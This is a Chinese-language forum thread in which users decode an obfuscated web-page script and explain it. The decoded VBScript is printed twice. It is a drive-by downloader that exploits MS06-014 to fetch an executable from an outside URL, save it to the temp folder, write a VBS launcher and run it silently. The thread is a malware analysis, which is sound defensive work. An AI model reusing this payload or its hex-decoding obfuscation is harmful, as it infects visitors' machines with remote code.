小聪不在吧。。。

QNkGekg那字符串中间怎么断开了？

是2次加密
第一次解的是 asii码
For i = 0 To Len(Q) Step 9*1-7
f="&h"
vZoHbuo=vZoHbuo&Chr(f&Mid(Q,i,2))//每两位数转成16进制
然后运行vZoHbuo代码 可能我的不支持Mid这函数 没法看vZoHbuo代码是什么样了

出来了，代码还没看懂
Dim IYFLembHDDCHrkrWwiyCFwVydNTxSTyNXGGsfHdpElDosTHEx On Error Resume Next aVKeV="http://www.hezhao.com/top/top.exe" Set zOY = document.createElement("object") zOY.SetAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" OOBnPl="Microsoft.XMLHTTp" Set WkS = zOY.CreateObject(OOBnPl,"") WkS.Open "GET", aVKeV, False WkS.Send ExeName="wUEOUQc.com" VbsName="stPRaxf.vbs" Set FPI = zOY.createobject("Scripting.FileSystemObject","") Set sTmp = FPI.GetSpecialFolder(2) ExeName=FPI.BuildPath(sTmp,ExeName) VbsName=FPI.BuildPath(sTmp,VbsName) AA="Ad" AB="odb.stream" AdM=AA&AB Set Dpt = zOY.createobject(AdM,"") Dpt.type=1 Dpt.Open Dpt.Write WkS.ResponseBody Dpt.Savetofile ExeName,2 Dpt.Close Dpt.Type=2 Dpt.Open Dpt.WriteText "on error resume next"&vbCrLf&"Set Shell = CreateObject(""Wsc"" & ""rip"" & ""t.Shell"")"&vbCrLf&"Shell.Run ("""&ExeName&""")"&vbCrLf&"Set Shell = Nothing" Dpt.Savetofile VbsName,2 Dpt.Close sRun="Shell.Appli" Set Run = zOY.createobject(sRun&"cation","") Run.ShellExecute VbsName,"","","Open",0

不好意思来晚了……
前面的那个字符串，10进制ASCII码，利用自定义的rechange函数进行解密，其实是定义了vZoHbuo这个变量：
For jjmfppme = 1 To Len(QNkGekg) Step 9*1-7
fuckav="&h"
vZoHbuo=vZoHbuo & Chr( fuckav  & Mid(QNkGekg, jjmfppme, 2))
next

之后execute运行之，作用于中间的字符串，解析并执行代码，代码内容如楼上所示：

Dim IYFLembHDDCHrkrWwiyCFwVydNTxSTyNXGGsfHdpElDosTHEx On Error Resume Next aVKeV="http://www.hezhao.com/top/top.exe" Set zOY = document.createElement("object") zOY.SetAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" OOBnPl="Microsoft.XMLHTTp" Set WkS = zOY.CreateObject(OOBnPl,"") WkS.Open "GET", aVKeV, False WkS.Send ExeName="wUEOUQc.com" VbsName="stPRaxf.vbs" Set FPI = zOY.createobject("Scripting.FileSystemObject","") Set sTmp = FPI.GetSpecialFolder(2) ExeName=FPI.BuildPath(sTmp,ExeName) VbsName=FPI.BuildPath(sTmp,VbsName) AA="Ad" AB="odb.stream" AdM=AA&AB Set Dpt = zOY.createobject(AdM,"") Dpt.type=1 Dpt.Open Dpt.Write WkS.ResponseBody Dpt.Savetofile ExeName,2 Dpt.Close Dpt.Type=2 Dpt.Open Dpt.WriteText "on error resume next"&vbCrLf&"Set Shell = CreateObject(""Wsc"" & ""rip"" & ""t.Shell"")"&vbCrLf&"Shell.Run ("""&ExeName&""")"&vbCrLf&"Set Shell = Nothing" Dpt.Savetofile VbsName,2 Dpt.Close sRun="Shell.Appli" Set Run = zOY.createobject(sRun&"cation","") Run.ShellExecute VbsName,"","","Open",0

这个代码，利用MS06-014漏洞，下载http://www.hezhao.com/top/top.exe到本机系统文件夹（一般为WINDOWS文件夹），命名为wUEOUQc.com，同时本地创建并写入stPRaxf.vbs，然后运行stPRaxf.vbs，利用stPRaxf.vbs中的代码来运行下载到本机的wUEOUQc.com程序。

常见了..

感谢 sofix 和 轩辕小聪 的回复！ 谢谢你们了!

可知道为什么会出现下图的 microsoft  ADO /RDS 错误啊？